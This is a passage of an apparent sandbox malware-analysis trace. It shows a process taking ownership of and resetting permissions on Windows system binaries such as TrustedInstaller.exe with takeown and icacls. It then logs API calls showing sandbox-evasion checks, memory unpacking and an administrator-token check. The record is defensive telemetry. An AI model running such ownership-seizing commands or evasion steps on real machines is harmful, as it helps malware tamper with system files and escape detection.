= "141" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x74309000" os_pid = "0xba0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 999 os_tid = 0xba4 Process: id = "142" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x26c0e000" os_pid = "0xbb4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1000 os_tid = 0xbb8 Process: id = "143" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x71113000" os_pid = "0xbc8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1001 os_tid = 0xbcc Process: id = "144" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x1ea18000" os_pid = "0x714" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1011 os_tid = 0x808 Process: id = "145" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x4a71d000" os_pid = "0x5dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1012 os_tid = 0x708 Process: id = "146" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x67c22000" os_pid = "0x4e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1013 os_tid = 0x490 Thread: id = 1014 os_tid = 0x224 Process: id = "147" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x6cf27000" os_pid = "0x55c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1015 os_tid = 0x5b4 Process: id = "148" image_name = "smsvchost.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe" page_root = "0x65852000" os_pid = "0x7bc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "S-1-5-80-89244771-1762554971-1007993102-348796144-2203111529" [0xa], "S-1-5-80-2943419899-937267781-4189664001-1229628381-3982115073" [0xa], "S-1-5-80-3579033775-2824656752-1522793541-1960352512-462907086" [0xa], "NT SERVICE\\NetTcpPortSharing" [0xe], "NT AUTHORITY\\Logon Session 00000000:00039bcb" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 1016 os_tid = 0x828 [0251.696] GetTimeZoneInformation (in: lpTimeZoneInformation=0x15faa0 | out: lpTimeZoneInformation=0x15faa0) returned 0x2 [0251.698] GetCurrentProcess () returned 0xffffffff [0251.698] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x15fa8c | out: lpExitCode=0x15fa8c*=0x103) returned 1 [0251.698] GetForegroundWindow () returned 0x0 [0251.698] GetCaretBlinkTime () returned 0x1f4 [0251.698] GetFileType (hFile=0xf710cd) returned 0x0 [0251.698] GetConsoleProcessList (in: lpdwProcessList=0x15fb4c, dwProcessCount=0x1 | out: lpdwProcessList=0x15fb4c) returned 0x0 [0251.698] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x15fa58 | out: pcyOut=0x15fa58) returned 0x0 [0251.699] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0251.700] GetCommState (in: hFile=0x3b268c, lpDCB=0x15f8c0 | out: lpDCB=0x15f8c0) returned 0 [0251.700] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x15f8bc, pmr=0x15f8a8, cht=0x353) returned 0 [0251.700] CloseClipboard () returned 0 [0251.700] CoUninitialize () [0251.700] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0251.700] ReleaseMutex (hMutex=0xa0) returned 0 [0251.700] CloseHandle (hObject=0xa0) returned 1 [0251.700] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0251.700] GetCommState (in: hFile=0x3b268c, lpDCB=0x15f8c0 | out: lpDCB=0x15f8c0) returned 0 [0251.700] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x15f8bc, pmr=0x15f8a8, cht=0x353) returned 0 [0251.700] CloseClipboard () returned 0 [0251.700] CoUninitialize () [0251.700] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0251.700] ReleaseMutex (hMutex=0xa0) returned 0 [0251.700] CloseHandle (hObject=0xa0) returned 1 [0251.700] GetLocalTime (in: lpSystemTime=0x15fb5c | out: lpSystemTime=0x15fb5c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x19, wSecond=0x3, wMilliseconds=0x248)) [0251.701] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x15f5dc | out: ProcedureAddress=0x15f5dc*=0x77011856) returned 0x0 [0251.701] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x190000 [0251.860] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x15f5dc | out: ProcedureAddress=0x15f5dc*=0x77011856) returned 0x0 [0251.860] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x160000 [0251.861] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x15f674 | out: ProcedureAddress=0x15f674*=0x770149d7) returned 0x0 [0251.861] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x15f674 | out: ProcedureAddress=0x15f674*=0x77011222) returned 0x0 [0251.861] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x15f674 | out: ProcedureAddress=0x15f674*=0x77011856) returned 0x0 [0251.861] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x15f674 | out: ProcedureAddress=0x15f674*=0x7701435f) returned 0x0 [0251.861] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0251.861] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0251.862] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0251.862] VirtualProtect (in: lpAddress=0x8a0000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x15f728 | out: lpflOldProtect=0x15f728*=0x2) returned 1 [0251.872] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x260000 [0251.875] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0251.875] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0251.875] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0251.875] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0252.790] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.847] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xd60000 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x104) returned 0xd607d0 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd608e0 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60968 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd609f0 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60a78 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60b00 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60b88 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60c10 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60c98 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60d20 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60da8 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60e30 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60eb8 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60f40 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd60fc8 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd61050 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x80) returned 0xd610d8 [0252.857] RtlAllocateHeap (HeapHandle=0xd60000, Flags=0x8, Size=0x400) returned 0xd61160 [0252.857] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x280000 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x2807d0 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x280858 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x2808e0 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x184) returned 0x280968 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280af8 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280b40 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280b88 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280bd0 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280c18 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280c60 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280ca8 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280cf0 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280d38 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280d80 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280dc8 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280e10 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280e58 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280ea0 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280ee8 [0252.858] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280f30 [0252.858] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x15f26c, nSize=0x1000 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe")) returned 0x3d [0252.859] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x280f78 [0252.859] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2c) returned 0x28b828 [0252.866] GetVersionExW (in: lpVersionInformation=0x15f88c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x15f88c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0252.867] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x15f874 | out: Wow64Process=0x15f874) returned 1 [0252.867] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x15f850 | out: TokenHandle=0x15f850*=0xa0) returned 1 [0252.867] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15f84c | out: TokenInformation=0x0, ReturnLength=0x15f84c) returned 0 [0252.867] GetLastError () returned 0x7a [0252.867] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1c0) returned 0x28b860 [0252.867] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x28b860, TokenInformationLength=0x190, ReturnLength=0x15f84c | out: TokenInformation=0x28b860, ReturnLength=0x15f84c) returned 1 [0252.867] AllocateAndInitializeSid (in: pIdentifierAuthority=0x15f85c, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x15f854 | out: pSid=0x15f854*=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b8dc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b8e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b8f4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b904*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b910*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b91c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b928*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b934*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x63, [5]=0xc4))) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b954*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xfb, [5]=0x5))) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b974*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xaf, [5]=0xb8))) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b994*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x4a, [5]=0xf8))) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b9b4*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b9c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b9d4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x21)) returned 0 [0252.867] EqualSid (pSid1=0x6229c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28b9e0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0252.867] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b860) returned 1 [0252.867] NtClose (Handle=0xa0) returned 0x0 [0252.868] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28b860 [0252.869] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28b8a8 [0252.870] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x280) returned 0x28b930 [0252.870] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0252.876] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x28b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0252.877] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.877] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bc58 [0252.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x28bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0252.877] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bca0 [0252.877] 